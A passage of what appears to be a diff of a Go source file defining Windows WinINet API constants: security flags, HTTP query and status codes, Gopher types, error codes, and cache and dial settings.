InternetHandleTypeFileRequest uintptr = 14
|
||||
AuthFlagDisableNegotiate uintptr = 0x00000001
|
||||
AuthFlagEnableNegotiate uintptr = 0x00000002
|
||||
AuthFlagDisableBasicClearchannel uintptr = 0x00000004
|
||||
SecurityFlagSecure uintptr = 0x00000001
|
||||
SecurityFlagStrengthWeak uintptr = 0x10000000
|
||||
SecurityFlagStrengthMedium uintptr = 0x40000000
|
||||
SecurityFlagStrengthStrong uintptr = 0x20000000
|
||||
SecurityFlagUnknownbit uintptr = 0x80000000
|
||||
SecurityFlagFortezza uintptr = 0x08000000
|
||||
SecurityFlagNormalbitness uintptr = SecurityFlagStrengthWeak
|
||||
SecurityFlagSsl uintptr = 0x00000002
|
||||
SecurityFlagSsl3 uintptr = 0x00000004
|
||||
SecurityFlagPct uintptr = 0x00000008
|
||||
SecurityFlagPct4 uintptr = 0x00000010
|
||||
SecurityFlagIetfssl4 uintptr = 0x00000020
|
||||
SecurityFlag40bit uintptr = SecurityFlagStrengthWeak
|
||||
SecurityFlag128bit uintptr = SecurityFlagStrengthStrong
|
||||
SecurityFlag56bit uintptr = SecurityFlagStrengthMedium
|
||||
SecurityFlagIgnoreRevocation uintptr = 0x00000080
|
||||
SecurityFlagIgnoreUnknownCa uintptr = 0x00000100
|
||||
SecurityFlagIgnoreWrongUsage uintptr = 0x00000200
|
||||
SecurityFlagIgnoreCertCnInvalid uintptr = InternetFlagIgnoreCertCnInvalid
|
||||
SecurityFlagIgnoreCertDateInvalid uintptr = InternetFlagIgnoreCertDateInvalid
|
||||
SecurityFlagIgnoreRedirectToHTTPs uintptr = InternetFlagIgnoreRedirectToHTTPs
|
||||
SecurityFlagIgnoreRedirectToHTTP uintptr = InternetFlagIgnoreRedirectToHTTP
|
||||
SecuritySetMask uintptr = (SecurityFlagIgnoreRevocation | SecurityFlagIgnoreUnknownCa | SecurityFlagIgnoreCertCnInvalid | SecurityFlagIgnoreCertDateInvalid | SecurityFlagIgnoreWrongUsage)
|
||||
AutodialModeNever uintptr = 1
|
||||
AutodialModeAlways uintptr = 2
|
||||
AutodialModeNoNetworkPresent uintptr = 4
|
||||
InternetStatusResolvingName uintptr = 10
|
||||
InternetStatusNameResolved uintptr = 11
|
||||
InternetStatusConnectingToServer uintptr = 20
|
||||
InternetStatusConnectedToServer uintptr = 21
|
||||
InternetStatusSendingRequest uintptr = 30
|
||||
InternetStatusRequestSent uintptr = 31
|
||||
InternetStatusReceivingResponse uintptr = 40
|
||||
InternetStatusResponseReceived uintptr = 41
|
||||
InternetStatusCtlResponseReceived uintptr = 42
|
||||
InternetStatusPrefetch uintptr = 43
|
||||
InternetStatusClosingConnection uintptr = 50
|
||||
InternetStatusConnectionClosed uintptr = 51
|
||||
InternetStatusHandleCreated uintptr = 60
|
||||
InternetStatusHandleClosing uintptr = 70
|
||||
InternetStatusDetectingProxy uintptr = 80
|
||||
InternetStatusRequestComplete uintptr = 100
|
||||
InternetStatusRedirect uintptr = 110
|
||||
InternetStatusIntermediateResponse uintptr = 120
|
||||
InternetStatusUserInputRequired uintptr = 140
|
||||
InternetStatusStateChange uintptr = 200
|
||||
InternetStatusCookieSent uintptr = 320
|
||||
InternetStatusCookieReceived uintptr = 321
|
||||
InternetStatusPrivacyImpacted uintptr = 324
|
||||
InternetStatusP3pHeader uintptr = 325
|
||||
InternetStatusP3pPolicyref uintptr = 326
|
||||
InternetStatusCookieHistory uintptr = 327
|
||||
InternetStateConnected uintptr = 0x00000001
|
||||
InternetStateDisconnected uintptr = 0x00000002
|
||||
InternetStateDisconnectedByUser uintptr = 0x00000010
|
||||
InternetStateIdle uintptr = 0x00000100
|
||||
InternetStateBusy uintptr = 0x00000200
|
||||
FtpTransferTypeUnknown uintptr = 0x00000000
|
||||
FtpTransferTypeAscii uintptr = 0x00000001
|
||||
FtpTransferTypeBinary uintptr = 0x00000002
|
||||
FtpTransferTypeMask uintptr = (FtpTransferTypeAscii | FtpTransferTypeBinary)
|
||||
MaxGopherDisplayText uintptr = 128
|
||||
MaxGopherSelectorText uintptr = 256
|
||||
MaxGopherHostName uintptr = InternetMaxHostNameLength
|
||||
MaxGopherLocatorLength uintptr = (1 + MaxGopherDisplayText + 1 + MaxGopherSelectorText + 1 + MaxGopherHostName + 1 + InternetMaxPortNumberLength + 1 + 1 + 2)
|
||||
GopherTypeTextFile uintptr = 0x00000001
|
||||
GopherTypeDirectory uintptr = 0x00000002
|
||||
GopherTypeCso uintptr = 0x00000004
|
||||
GopherTypeError uintptr = 0x00000008
|
||||
GopherTypeMacBinhex uintptr = 0x00000010
|
||||
GopherTypeDosArchive uintptr = 0x00000020
|
||||
GopherTypeUnixUuencoded uintptr = 0x00000040
|
||||
GopherTypeIndexServer uintptr = 0x00000080
|
||||
GopherTypeTelnet uintptr = 0x00000100
|
||||
GopherTypeBinary uintptr = 0x00000200
|
||||
GopherTypeRedundant uintptr = 0x00000400
|
||||
GopherTypeTn3270 uintptr = 0x00000800
|
||||
GopherTypeGif uintptr = 0x00001000
|
||||
GopherTypeImage uintptr = 0x00002000
|
||||
GopherTypeBitmap uintptr = 0x00004000
|
||||
GopherTypeMovie uintptr = 0x00008000
|
||||
GopherTypeSound uintptr = 0x00010000
|
||||
GopherTypeHtml uintptr = 0x00020000
|
||||
GopherTypePdf uintptr = 0x00040000
|
||||
GopherTypeCalendar uintptr = 0x00080000
|
||||
GopherTypeInline uintptr = 0x00100000
|
||||
GopherTypeUnknown uintptr = 0x20000000
|
||||
GopherTypeAsk uintptr = 0x40000000
|
||||
GopherTypeGopherPlus uintptr = 0x80000000
|
||||
GopherTypeFileMask uintptr = (GopherTypeTextFile | GopherTypeMacBinhex | GopherTypeDosArchive | GopherTypeUnixUuencoded | GopherTypeBinary | GopherTypeGif | GopherTypeImage | GopherTypeBitmap | GopherTypeMovie | GopherTypeSound | GopherTypeHtml | GopherTypePdf | GopherTypeCalendar | GopherTypeInline)
|
||||
MaxGopherCategoryName uintptr = 128
|
||||
MaxGopherAttributeName uintptr = 128
|
||||
MinGopherAttributeLength uintptr = 256
|
||||
GopherInfoCategory string = "+INFO"
|
||||
GopherAdminCategory string = "+ADMIN"
|
||||
GopherViewsCategory string = "+VIEWS"
|
||||
GopherAbstractCategory string = "+ABSTRACT"
|
||||
GopherVeronicaCategory string = "+VERONICA"
|
||||
GopherAdminAttribute string = "Admin"
|
||||
GopherModDateAttribute string = "Mod-Date"
|
||||
GopherTtlAttribute string = "TTL"
|
||||
GopherScoreAttribute string = "Score"
|
||||
GopherRangeAttribute string = "Score-range"
|
||||
GopherSiteAttribute string = "Site"
|
||||
GopherOrgAttribute string = "Org"
|
||||
GopherLocationAttribute string = "Loc"
|
||||
GopherGeogAttribute string = "Geog"
|
||||
GopherTimezoneAttribute string = "TZ"
|
||||
GopherProviderAttribute string = "Provider"
|
||||
GopherVersionAttribute string = "Version"
|
||||
GopherAbstractAttribute string = "Abstract"
|
||||
GopherViewAttribute string = "View"
|
||||
GopherTreewalkAttribute string = "treewalk"
|
||||
GopherAttributeIdBase uintptr = 0xabcccc00
|
||||
GopherCategoryIdAll uintptr = (GopherAttributeIdBase + 1)
|
||||
GopherCategoryIdInfo uintptr = (GopherAttributeIdBase + 2)
|
||||
GopherCategoryIdAdmin uintptr = (GopherAttributeIdBase + 3)
|
||||
GopherCategoryIdViews uintptr = (GopherAttributeIdBase + 4)
|
||||
GopherCategoryIdAbstract uintptr = (GopherAttributeIdBase + 5)
|
||||
GopherCategoryIdVeronica uintptr = (GopherAttributeIdBase + 6)
|
||||
GopherCategoryIdAsk uintptr = (GopherAttributeIdBase + 7)
|
||||
GopherCategoryIdUnknown uintptr = (GopherAttributeIdBase + 8)
|
||||
GopherAttributeIdAll uintptr = (GopherAttributeIdBase + 9)
|
||||
GopherAttributeIdAdmin uintptr = (GopherAttributeIdBase + 10)
|
||||
GopherAttributeIdModDate uintptr = (GopherAttributeIdBase + 11)
|
||||
GopherAttributeIdTtl uintptr = (GopherAttributeIdBase + 12)
|
||||
GopherAttributeIdScore uintptr = (GopherAttributeIdBase + 13)
|
||||
GopherAttributeIdRange uintptr = (GopherAttributeIdBase + 14)
|
||||
GopherAttributeIdSite uintptr = (GopherAttributeIdBase + 15)
|
||||
GopherAttributeIdOrg uintptr = (GopherAttributeIdBase + 16)
|
||||
GopherAttributeIdLocation uintptr = (GopherAttributeIdBase + 17)
|
||||
GopherAttributeIdGeog uintptr = (GopherAttributeIdBase + 18)
|
||||
GopherAttributeIdTimezone uintptr = (GopherAttributeIdBase + 19)
|
||||
GopherAttributeIdProvider uintptr = (GopherAttributeIdBase + 20)
|
||||
GopherAttributeIdVersion uintptr = (GopherAttributeIdBase + 21)
|
||||
GopherAttributeIdAbstract uintptr = (GopherAttributeIdBase + 22)
|
||||
GopherAttributeIdView uintptr = (GopherAttributeIdBase + 23)
|
||||
GopherAttributeIdTreewalk uintptr = (GopherAttributeIdBase + 24)
|
||||
GopherAttributeIdUnknown uintptr = (GopherAttributeIdBase + 25)
|
||||
HTTPMajorVersion uintptr = 1
|
||||
HTTPMinorVersion uintptr = 0
|
||||
HTTPVersiona string = "HTTP/1.0"
|
||||
HTTPVersionw string = "HTTP/1.0"
|
||||
HTTPQueryMimeVersion uintptr = 0
|
||||
HTTPQueryContentType uintptr = 1
|
||||
HTTPQueryContentTransferEncoding uintptr = 2
|
||||
HTTPQueryContentId uintptr = 3
|
||||
HTTPQueryContentDescription uintptr = 4
|
||||
HTTPQueryContentLength uintptr = 5
|
||||
HTTPQueryContentLanguage uintptr = 6
|
||||
HTTPQueryAllow uintptr = 7
|
||||
HTTPQueryPublic uintptr = 8
|
||||
HTTPQueryDate uintptr = 9
|
||||
HTTPQueryExpires uintptr = 10
|
||||
HTTPQueryLastModified uintptr = 11
|
||||
HTTPQueryMessageId uintptr = 12
|
||||
HTTPQueryUri uintptr = 13
|
||||
HTTPQueryDerivedFrom uintptr = 14
|
||||
HTTPQueryCost uintptr = 15
|
||||
HTTPQueryLink uintptr = 16
|
||||
HTTPQueryPragma uintptr = 17
|
||||
HTTPQueryVersion uintptr = 18
|
||||
HTTPQueryStatusCode uintptr = 19
|
||||
HTTPQueryStatusText uintptr = 20
|
||||
HTTPQueryRawHeaders uintptr = 21
|
||||
HTTPQueryRawHeadersCRLF uintptr = 22
|
||||
HTTPQueryConnection uintptr = 23
|
||||
HTTPQueryAccept uintptr = 24
|
||||
HTTPQueryAcceptCharset uintptr = 25
|
||||
HTTPQueryAcceptEncoding uintptr = 26
|
||||
HTTPQueryAcceptLanguage uintptr = 27
|
||||
HTTPQueryAuthorization uintptr = 28
|
||||
HTTPQueryContentEncoding uintptr = 29
|
||||
HTTPQueryForwarded uintptr = 30
|
||||
HTTPQueryFrom uintptr = 31
|
||||
HTTPQueryIfModifiedSince uintptr = 32
|
||||
HTTPQueryLocation uintptr = 33
|
||||
HTTPQueryOrigUri uintptr = 34
|
||||
HTTPQueryReferer uintptr = 35
|
||||
HTTPQueryRetryAfter uintptr = 36
|
||||
HTTPQueryServer uintptr = 37
|
||||
HTTPQueryTitle uintptr = 38
|
||||
HTTPQueryUserAgent uintptr = 39
|
||||
HTTPQueryWwwAuthenticate uintptr = 40
|
||||
HTTPQueryProxyAuthenticate uintptr = 41
|
||||
HTTPQueryAcceptRanges uintptr = 42
|
||||
HTTPQuerySetCookie uintptr = 43
|
||||
HTTPQueryCookie uintptr = 44
|
||||
HTTPQueryRequestMethod uintptr = 45
|
||||
HTTPQueryRefresh uintptr = 46
|
||||
HTTPQueryContentDisposition uintptr = 47
|
||||
HTTPQueryAge uintptr = 48
|
||||
HTTPQueryCacheControl uintptr = 49
|
||||
HTTPQueryContentBase uintptr = 50
|
||||
HTTPQueryContentLocation uintptr = 51
|
||||
HTTPQueryContentMd5 uintptr = 52
|
||||
HTTPQueryContentRange uintptr = 53
|
||||
HTTPQueryEtag uintptr = 54
|
||||
HTTPQueryHost uintptr = 55
|
||||
HTTPQueryIfMatch uintptr = 56
|
||||
HTTPQueryIfNoneMatch uintptr = 57
|
||||
HTTPQueryIfRange uintptr = 58
|
||||
HTTPQueryIfUnmodifiedSince uintptr = 59
|
||||
HTTPQueryMaxForwards uintptr = 60
|
||||
HTTPQueryProxyAuthorization uintptr = 61
|
||||
HTTPQueryRange uintptr = 62
|
||||
HTTPQueryTransferEncoding uintptr = 63
|
||||
HTTPQueryUpgrade uintptr = 64
|
||||
HTTPQueryVary uintptr = 65
|
||||
HTTPQueryVia uintptr = 66
|
||||
HTTPQueryWarning uintptr = 67
|
||||
HTTPQueryExpect uintptr = 68
|
||||
HTTPQueryProxyConnection uintptr = 69
|
||||
HTTPQueryUnlessModifiedSince uintptr = 70
|
||||
HTTPQueryEchoRequest uintptr = 71
|
||||
HTTPQueryEchoReply uintptr = 72
|
||||
HTTPQueryEchoHeaders uintptr = 73
|
||||
HTTPQueryEchoHeadersCRLF uintptr = 74
|
||||
HTTPQueryProxySupport uintptr = 75
|
||||
HTTPQueryAuthenticationInfo uintptr = 76
|
||||
HTTPQueryPassportUrls uintptr = 77
|
||||
HTTPQueryPassportConfig uintptr = 78
|
||||
HTTPQueryMax uintptr = 78
|
||||
HTTPQueryCustom uintptr = 65535
|
||||
HTTPQueryFlagRequestHeaders uintptr = 0x80000000
|
||||
HTTPQueryFlagSystemtime uintptr = 0x40000000
|
||||
HTTPQueryFlagNumber uintptr = 0x20000000
|
||||
HTTPQueryFlagCoalesce uintptr = 0x10000000
|
||||
HTTPQueryModifierFlagsMask uintptr = (HTTPQueryFlagRequestHeaders | HTTPQueryFlagSystemtime | HTTPQueryFlagNumber | HTTPQueryFlagCoalesce)
|
||||
HTTPStatusContinue uintptr = 100
|
||||
HTTPStatusSwitchProtocols uintptr = 101
|
||||
HTTPStatusOk uintptr = 200
|
||||
HTTPStatusCreated uintptr = 201
|
||||
HTTPStatusAccepted uintptr = 202
|
||||
HTTPStatusPartial uintptr = 203
|
||||
HTTPStatusNoContent uintptr = 204
|
||||
HTTPStatusResetContent uintptr = 205
|
||||
HTTPStatusPartialContent uintptr = 206
|
||||
HTTPStatusAmbiguous uintptr = 300
|
||||
HTTPStatusMoved uintptr = 301
|
||||
HTTPStatusRedirect uintptr = 302
|
||||
HTTPStatusRedirectMethod uintptr = 303
|
||||
HTTPStatusNotModified uintptr = 304
|
||||
HTTPStatusUseProxy uintptr = 305
|
||||
HTTPStatusRedirectKeepVerb uintptr = 307
|
||||
HTTPStatusBadRequest uintptr = 400
|
||||
HTTPStatusDenied uintptr = 401
|
||||
HTTPStatusPaymentReq uintptr = 402
|
||||
HTTPStatusForbidden uintptr = 403
|
||||
HTTPStatusNotFound uintptr = 404
|
||||
HTTPStatusBadMethod uintptr = 405
|
||||
HTTPStatusNoneAcceptable uintptr = 406
|
||||
HTTPStatusProxyAuthReq uintptr = 407
|
||||
HTTPStatusRequestTimeout uintptr = 408
|
||||
HTTPStatusConflict uintptr = 409
|
||||
HTTPStatusGone uintptr = 410
|
||||
HTTPStatusLengthRequired uintptr = 411
|
||||
HTTPStatusPrecondFailed uintptr = 412
|
||||
HTTPStatusRequestTooLarge uintptr = 413
|
||||
HTTPStatusUriTooLong uintptr = 414
|
||||
HTTPStatusUnsupportedMedia uintptr = 415
|
||||
HTTPStatusRetryWith uintptr = 449
|
||||
HTTPStatusServerError uintptr = 500
|
||||
HTTPStatusNotSupported uintptr = 501
|
||||
HTTPStatusBadGateway uintptr = 502
|
||||
HTTPStatusServiceUnavail uintptr = 503
|
||||
HTTPStatusGatewayTimeout uintptr = 504
|
||||
HTTPStatusVersionNotSup uintptr = 505
|
||||
HTTPStatusFirst uintptr = HTTPStatusContinue
|
||||
HTTPStatusLast uintptr = HTTPStatusVersionNotSup
|
||||
HTTPAddreqIndexMask uintptr = 0x0000FFFF
|
||||
HTTPAddreqFlagsMask uintptr = 0xFFFF0000
|
||||
HTTPAddreqFlagAddIfNew uintptr = 0x10000000
|
||||
HTTPAddreqFlagAdd uintptr = 0x20000000
|
||||
HTTPAddreqFlagCoalesceWithComma uintptr = 0x40000000
|
||||
HTTPAddreqFlagCoalesceWithSemicolon uintptr = 0x01000000
|
||||
HTTPAddreqFlagCoalesce uintptr = HTTPAddreqFlagCoalesceWithComma
|
||||
HTTPAddreqFlagReplace uintptr = 0x80000000
|
||||
HsrAsync uintptr = WininetApiFlagAsync
|
||||
HsrSync uintptr = WininetApiFlagSync
|
||||
HsrUseContext uintptr = WininetApiFlagUseContext
|
||||
HsrInitiate uintptr = 0x00000008
|
||||
HsrDownload uintptr = 0x00000010
|
||||
HsrChunked uintptr = 0x00000020
|
||||
InternetCookieIsSecure uintptr = 0x01
|
||||
InternetCookieIsSession uintptr = 0x02
|
||||
InternetCookieThirdParty uintptr = 0x10
|
||||
InternetCookiePromptRequired uintptr = 0x20
|
||||
InternetCookieEvaluateP3p uintptr = 0x40
|
||||
InternetCookieApplyP3p uintptr = 0x80
|
||||
InternetCookieP3pEnabled uintptr = 0x100
|
||||
InternetCookieIsRestricted uintptr = 0x200
|
||||
InternetCookieIe6 uintptr = 0x400
|
||||
InternetCookieIsLegacy uintptr = 0x800
|
||||
FlagIccForceConnection uintptr = 0x00000001
|
||||
FlagsErrorUiFilterForErrors uintptr = 0x01
|
||||
FlagsErrorUiFlagsChangeOptions uintptr = 0x02
|
||||
FlagsErrorUiFlagsGenerateData uintptr = 0x04
|
||||
FlagsErrorUiFlagsNoUi uintptr = 0x08
|
||||
FlagsErrorUiSerializeDialogs uintptr = 0x10
|
||||
InternetErrorBase uintptr = 12000
|
||||
ErrorInternetOutOfHandles uintptr = (InternetErrorBase + 1)
|
||||
ErrorInternetTimeout uintptr = (InternetErrorBase + 2)
|
||||
ErrorInternetExtendedError uintptr = (InternetErrorBase + 3)
|
||||
ErrorInternetInternalError uintptr = (InternetErrorBase + 4)
|
||||
ErrorInternetInvalidUrl uintptr = (InternetErrorBase + 5)
|
||||
ErrorInternetUnrecognizedScheme uintptr = (InternetErrorBase + 6)
|
||||
ErrorInternetNameNotResolved uintptr = (InternetErrorBase + 7)
|
||||
ErrorInternetProtocolNotFound uintptr = (InternetErrorBase + 8)
|
||||
ErrorInternetInvalidOption uintptr = (InternetErrorBase + 9)
|
||||
ErrorInternetBadOptionLength uintptr = (InternetErrorBase + 10)
|
||||
ErrorInternetOptionNotSettable uintptr = (InternetErrorBase + 11)
|
||||
ErrorInternetShutdown uintptr = (InternetErrorBase + 12)
|
||||
ErrorInternetIncorrectUserName uintptr = (InternetErrorBase + 13)
|
||||
ErrorInternetIncorrectPassword uintptr = (InternetErrorBase + 14)
|
||||
ErrorInternetLoginFailure uintptr = (InternetErrorBase + 15)
|
||||
ErrorInternetInvalidOperation uintptr = (InternetErrorBase + 16)
|
||||
ErrorInternetOperationCancelled uintptr = (InternetErrorBase + 17)
|
||||
ErrorInternetIncorrectHandleType uintptr = (InternetErrorBase + 18)
|
||||
ErrorInternetIncorrectHandleState uintptr = (InternetErrorBase + 19)
|
||||
ErrorInternetNotProxyRequest uintptr = (InternetErrorBase + 20)
|
||||
ErrorInternetRegistryValueNotFound uintptr = (InternetErrorBase + 21)
|
||||
ErrorInternetBadRegistryParameter uintptr = (InternetErrorBase + 22)
|
||||
ErrorInternetNoDirectAccess uintptr = (InternetErrorBase + 23)
|
||||
ErrorInternetNoContext uintptr = (InternetErrorBase + 24)
|
||||
ErrorInternetNoCallback uintptr = (InternetErrorBase + 25)
|
||||
ErrorInternetRequestPending uintptr = (InternetErrorBase + 26)
|
||||
ErrorInternetIncorrectFormat uintptr = (InternetErrorBase + 27)
|
||||
ErrorInternetItemNotFound uintptr = (InternetErrorBase + 28)
|
||||
ErrorInternetCannotConnect uintptr = (InternetErrorBase + 29)
|
||||
ErrorInternetConnectionAborted uintptr = (InternetErrorBase + 30)
|
||||
ErrorInternetConnectionReset uintptr = (InternetErrorBase + 31)
|
||||
ErrorInternetForceRetry uintptr = (InternetErrorBase + 32)
|
||||
ErrorInternetInvalidProxyRequest uintptr = (InternetErrorBase + 33)
|
||||
ErrorInternetNeedUi uintptr = (InternetErrorBase + 34)
|
||||
ErrorInternetHandleExists uintptr = (InternetErrorBase + 36)
|
||||
ErrorInternetSecCertDateInvalid uintptr = (InternetErrorBase + 37)
|
||||
ErrorInternetSecCertCnInvalid uintptr = (InternetErrorBase + 38)
|
||||
ErrorInternetHTTPToHTTPsOnRedir uintptr = (InternetErrorBase + 39)
|
||||
ErrorInternetHTTPsToHTTPOnRedir uintptr = (InternetErrorBase + 40)
|
||||
ErrorInternetMixedSecurity uintptr = (InternetErrorBase + 41)
|
||||
ErrorInternetChgPostIsNonSecure uintptr = (InternetErrorBase + 42)
|
||||
ErrorInternetPostIsNonSecure uintptr = (InternetErrorBase + 43)
|
||||
ErrorInternetClientAuthCertNeeded uintptr = (InternetErrorBase + 44)
|
||||
ErrorInternetInvalidCa uintptr = (InternetErrorBase + 45)
|
||||
ErrorInternetClientAuthNotSetup uintptr = (InternetErrorBase + 46)
|
||||
ErrorInternetAsyncThreadFailed uintptr = (InternetErrorBase + 47)
|
||||
ErrorInternetRedirectSchemeChange uintptr = (InternetErrorBase + 48)
|
||||
ErrorInternetDialogPending uintptr = (InternetErrorBase + 49)
|
||||
ErrorInternetRetryDialog uintptr = (InternetErrorBase + 50)
|
||||
ErrorInternetHTTPsHTTPSubmitRedir uintptr = (InternetErrorBase + 52)
|
||||
ErrorInternetInsertCdrom uintptr = (InternetErrorBase + 53)
|
||||
ErrorInternetFortezzaLoginNeeded uintptr = (InternetErrorBase + 54)
|
||||
ErrorInternetSecCertErrors uintptr = (InternetErrorBase + 55)
|
||||
ErrorInternetSecCertNoRev uintptr = (InternetErrorBase + 56)
|
||||
ErrorInternetSecCertRevFailed uintptr = (InternetErrorBase + 57)
|
||||
ErrorFtpTransferInProgress uintptr = (InternetErrorBase + 110)
|
||||
ErrorFtpDropped uintptr = (InternetErrorBase + 111)
|
||||
ErrorFtpNoPassiveMode uintptr = (InternetErrorBase + 112)
|
||||
ErrorGopherProtocolError uintptr = (InternetErrorBase + 130)
|
||||
ErrorGopherNotFile uintptr = (InternetErrorBase + 131)
|
||||
ErrorGopherDataError uintptr = (InternetErrorBase + 132)
|
||||
ErrorGopherEndOfData uintptr = (InternetErrorBase + 133)
|
||||
ErrorGopherInvalidLocator uintptr = (InternetErrorBase + 134)
|
||||
ErrorGopherIncorrectLocatorType uintptr = (InternetErrorBase + 135)
|
||||
ErrorGopherNotGopherPlus uintptr = (InternetErrorBase + 136)
|
||||
ErrorGopherAttributeNotFound uintptr = (InternetErrorBase + 137)
|
||||
ErrorGopherUnknownLocator uintptr = (InternetErrorBase + 138)
|
||||
ErrorHTTPHeaderNotFound uintptr = (InternetErrorBase + 150)
|
||||
ErrorHTTPDownlevelServer uintptr = (InternetErrorBase + 151)
|
||||
ErrorHTTPInvalidServerResponse uintptr = (InternetErrorBase + 152)
|
||||
ErrorHTTPInvalidHeader uintptr = (InternetErrorBase + 153)
|
||||
ErrorHTTPInvalidQueryRequest uintptr = (InternetErrorBase + 154)
|
||||
ErrorHTTPHeaderAlreadyExists uintptr = (InternetErrorBase + 155)
|
||||
ErrorHTTPRedirectFailed uintptr = (InternetErrorBase + 156)
|
||||
ErrorHTTPNotRedirected uintptr = (InternetErrorBase + 160)
|
||||
ErrorHTTPCookieNeedsConfirmation uintptr = (InternetErrorBase + 161)
|
||||
ErrorHTTPCookieDeclined uintptr = (InternetErrorBase + 162)
|
||||
ErrorHTTPRedirectNeedsConfirmation uintptr = (InternetErrorBase + 168)
|
||||
ErrorInternetSecurityChannelError uintptr = (InternetErrorBase + 157)
|
||||
ErrorInternetUnableToCacheFile uintptr = (InternetErrorBase + 158)
|
||||
ErrorInternetTcpipNotInstalled uintptr = (InternetErrorBase + 159)
|
||||
ErrorInternetDisconnected uintptr = (InternetErrorBase + 163)
|
||||
ErrorInternetServerUnreachable uintptr = (InternetErrorBase + 164)
|
||||
ErrorInternetProxyServerUnreachable uintptr = (InternetErrorBase + 165)
|
||||
ErrorInternetBadAutoProxyScript uintptr = (InternetErrorBase + 166)
|
||||
ErrorInternetUnableToDownloadScript uintptr = (InternetErrorBase + 167)
|
||||
ErrorInternetSecInvalidCert uintptr = (InternetErrorBase + 169)
|
||||
ErrorInternetSecCertRevoked uintptr = (InternetErrorBase + 170)
|
||||
ErrorInternetFailedDuetosecuritycheck uintptr = (InternetErrorBase + 171)
|
||||
ErrorInternetNotInitialized uintptr = (InternetErrorBase + 172)
|
||||
ErrorInternetNeedMsnSspiPkg uintptr = (InternetErrorBase + 173)
|
||||
ErrorInternetLoginFailureDisplayEntityBody uintptr = (InternetErrorBase + 174)
|
||||
InternetErrorLast uintptr = ErrorInternetLoginFailureDisplayEntityBody
|
||||
NormalCacheEntry uintptr = 0x00000001
|
||||
StickyCacheEntry uintptr = 0x00000004
|
||||
EditedCacheEntry uintptr = 0x00000008
|
||||
TrackOfflineCacheEntry uintptr = 0x00000010
|
||||
TrackOnlineCacheEntry uintptr = 0x00000020
|
||||
SparseCacheEntry uintptr = 0x00010000
|
||||
CookieCacheEntry uintptr = 0x00100000
|
||||
UrlhistoryCacheEntry uintptr = 0x00200000
|
||||
UrlcacheFindDefaultFilter uintptr = NormalCacheEntry | CookieCacheEntry | UrlhistoryCacheEntry | TrackOfflineCacheEntry | TrackOnlineCacheEntry | StickyCacheEntry
|
||||
CachegroupAttributeGetAll uintptr = 0xffffffff
|
||||
CachegroupAttributeBasic uintptr = 0x00000001
|
||||
CachegroupAttributeFlag uintptr = 0x00000002
|
||||
CachegroupAttributeType uintptr = 0x00000004
|
||||
CachegroupAttributeQuota uintptr = 0x00000008
|
||||
CachegroupAttributeGroupname uintptr = 0x00000010
|
||||
CachegroupAttributeStorage uintptr = 0x00000020
|
||||
CachegroupFlagNonpurgeable uintptr = 0x00000001
|
||||
CachegroupFlagGidonly uintptr = 0x00000004
|
||||
CachegroupFlagFlushurlOndelete uintptr = 0x00000002
|
||||
CachegroupSearchAll uintptr = 0x00000000
|
||||
CachegroupSearchByurl uintptr = 0x00000001
|
||||
CachegroupTypeInvalid uintptr = 0x00000001
|
||||
CachegroupReadwriteMask uintptr = CachegroupAttributeType | CachegroupAttributeQuota | CachegroupAttributeGroupname | CachegroupAttributeStorage
|
||||
GroupnameMaxLength uintptr = 120
|
||||
GroupOwnerStorageSize uintptr = 4
|
||||
CacheEntryAttributeFc uintptr = 0x00000004
|
||||
CacheEntryHitrateFc uintptr = 0x00000010
|
||||
CacheEntryModtimeFc uintptr = 0x00000040
|
||||
CacheEntryExptimeFc uintptr = 0x00000080
|
||||
CacheEntryAcctimeFc uintptr = 0x00000100
|
||||
CacheEntrySynctimeFc uintptr = 0x00000200
|
||||
CacheEntryHeaderinfoFc uintptr = 0x00000400
|
||||
CacheEntryExemptDeltaFc uintptr = 0x00000800
|
||||
InternetCacheGroupAdd uintptr = 0
|
||||
InternetCacheGroupRemove uintptr = 1
|
||||
InternetDialForcePrompt uintptr = 0x2000
|
||||
InternetDialShowOffline uintptr = 0x4000
|
||||
InternetDialUnattended uintptr = 0x8000
|
||||
InterentGoonlineRefresh uintptr = 0x00000001
|
||||
InterentGoonlineMask uintptr = 0x00000001
|
||||
InternetAutodialForceOnline uintptr = 1
|
||||
InternetAutodialForceUnattended uintptr = 2
|
||||
InternetAutodialFailifsecuritycheck uintptr = 4
|
||||
InternetAutodialOverrideNetPresent uintptr = 8
|
||||
InternetAutodialFlagsMask uintptr = (InternetAutodialForceOnline | InternetAutodialForceUnattended | InternetAutodialFailifsecuritycheck | InternetAutodialOverrideNetPresent)
|
||||
ProxyAutoDetectTypeDhcp uintptr = 1
|
||||
ProxyAutoDetectTypeDnsA uintptr = 2
|
||||
InternetConnectionModem uintptr = 0x01
|
||||
InternetConnectionLan uintptr = 0x02
|
||||
InternetConnectionProxy uintptr = 0x04
|
||||
InternetConnectionModemBusy uintptr = 0x08
|
||||
InternetRasInstalled uintptr = 0x10
|
||||
InternetConnectionOffline uintptr = 0x20
|
||||
InternetConnectionConfigured uintptr = 0x40
|
||||
InternetCustomdialConnect uintptr = 0
|
||||
InternetCustomdialUnattended uintptr = 1
|
||||
InternetCustomdialDisconnect uintptr = 2
|
||||
InternetCustomdialShowoffline uintptr = 4
|
||||
InternetCustomdialSafeForUnattended uintptr = 1
|
||||
InternetCustomdialWillSupplyState uintptr = 2
|
||||
InternetCustomdialCanHangup uintptr = 4
|
||||
InternetDialstateDisconnected uintptr = 1
|
||||
InternetIdentityFlagPrivateCache uintptr = 0x01
|
||||
InternetIdentityFlagSharedCache uintptr = 0x02
|
||||
InternetIdentityFlagClearData uintptr = 0x04
|
||||
InternetIdentityFlagClearCookies uintptr = 0x08
|
||||
InternetIdentityFlagClearHistory uintptr = 0x10
|
||||
InternetIdentityFlagClearContent uintptr = 0x20
|
||||
InternetSuppressResetAll uintptr = 0x00
|
||||
InternetSuppressCookiePolicy uintptr = 0x01
|
||||
InternetSuppressCookiePolicyReset uintptr = 0x02
|
||||
PrivacyTemplateNoCookies uintptr = 0
|
||||
PrivacyTemplateHigh uintptr = 1
|
||||
PrivacyTemplateMediumHigh uintptr = 2
|
||||
PrivacyTemplateMedium uintptr = 3
|
||||
PrivacyTemplateMediumLow uintptr = 4
|
||||
PrivacyTemplateLow uintptr = 5
|
||||
PrivacyTemplateCustom uintptr = 100
|
||||
PrivacyTemplateAdvanced uintptr = 101
|
||||
PrivacyTemplateMax uintptr = PrivacyTemplateLow
|
||||
PrivacyTypeFirstParty uintptr = 0
|
||||
PrivacyTypeThirdParty uintptr = 1
|
||||
)
|
||||
@@ -0,0 +1,20 @@
|
||||
package wininet
|
||||
|
||||
import "errors"
|
